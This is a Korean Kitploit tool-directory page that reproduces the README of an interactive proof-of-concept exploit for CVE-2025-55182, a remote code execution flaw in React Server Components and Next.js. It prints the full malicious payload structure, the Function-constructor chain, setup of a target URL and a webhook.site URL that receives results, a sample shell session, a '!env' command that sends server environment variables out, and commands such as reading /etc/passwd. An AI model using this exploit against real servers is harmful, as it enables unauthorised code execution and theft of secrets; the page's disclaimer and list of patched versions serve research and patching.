Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
react2shell-interactive — CVE-2025-55182 대화형 PoC - React Server Components RCE - 교육용 보안 연구 | Kitploit
도구/GitHubGitHub/nathanj60/react2shell-interactive
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubnathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 대화형 PoC - React Server Components RCE - 교육용 보안 연구

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React2Shell - CVE-2025-55182 대화형 PoC

React Server Components의 원격 코드 실행(RCE) 취약점인 CVE-2025-55182를 악용하기 위한 대화형 셸입니다.

면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유한 시스템이나 명시적인 서면 허가를 받은 시스템에서만 테스트하십시오.
  • 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
  • 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
  • 이는 보안 연구 및 인식 제고를 위한 개념 증명(PoC)입니다.

취약점 개요

CVE-2025-55182는 다음의 React Server Components(RSC)에 영향을 미칩니다:

  • Next.js < 15.1.7, < 14.2.29, < 13.5.9
  • Waku (다양한 버전)

이 취약점은 Server Actions로 전송되는 악성 페이로드를 통해 원격 코드 실행(RCE)을 허용합니다.

작동 원리

  1. RSC 프로토콜은 내부 Chunk 객체를 참조하기 위해 $@x 구문을 사용합니다.
  2. JavaScript는 .then() 메서드가 있는 객체(Promise 유사)를 자동으로 언랩(unwrap)합니다.
  3. 제어된 _response, _formData, _prefix 속성을 가진 악성 페이로드를 제작하여
  4. 공격자는 프로토타입 체인 탐색을 통해 Function 생성자에 도달할 수 있습니다.
  5. 이를 통해 서버에서 임의의 JavaScript를 실행할 수 있습니다.
root@kitploit:~
$3:constructor:constructor → Function constructor → RCE

설치

root@kitploit:~
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

설정

exploit.js를 편집하고 다음 값을 업데이트하십시오:

root@kitploit:~
const TARGET_URL = 'http://localhost:3000/'          // 취약한 Next.js 서버
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // 본인의 웹훅 URL

무료 웹훅은 https://webhook.site에서 받으세요.

사용법

root@kitploit:~
node exploit.js

명령어

예시 세션

root@kitploit:~
react2shell> !test
[+] Sent! Check webhook

react2shell> whoami
[+] Sent: whoami

react2shell> ls -la
[+] Sent: ls -la

react2shell> !env
[+] Sent! Check webhook for env vars

결과는 터미널이 아닌 웹훅에 표시됩니다.

기술적 세부 사항

페이로드 구조

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

실행 흐름

  1. 페이로드는 next-action 헤더와 함께 multipart 폼 데이터로 전송됩니다.
  2. React Flight 파서가 청크를 처리합니다.
  3. $@3은 Chunk 참조를 생성합니다.
  4. $3:constructor:constructor는 Function으로 이동합니다.
  5. _prefix 콘텐츠가 Function()에 전달되어 실행됩니다.

Next.js 15+ 참고 사항

  • ESM 모듈을 사용하므로 require()를 사용할 수 없습니다.
  • 대신 동적 import()를 사용하십시오:
    root@kitploit:~
    import("child_process").then(cp => cp.execSync("whoami"))
    

패치된 버전

취약점을 수정하려면 다음 버전으로 업데이트하십시오:

  • Next.js >= 15.1.7
  • Next.js >= 14.2.29
  • Next.js >= 13.5.9

참고 자료

  • React2Shell 공식 사이트
  • Google Tsunami 스캐너 플러그인

라이선스

MIT 라이선스 - 교육 목적으로만 사용하십시오.

작성자

보안 연구 PoC - 책임감 있게 사용하십시오.

도구 다운로드
명령어설명
!test익스플로잇이 작동하는지 테스트합니다(웹훅으로 확인을 보냅니다)
!env환경 변수(process.env)를 유출합니다
!js <code>사용자 정의 JavaScript를 실행합니다
!help도움말을 표시합니다
!exit종료합니다
<command>셸 명령어를 실행합니다(예: whoami, ls, cat /etc/passwd)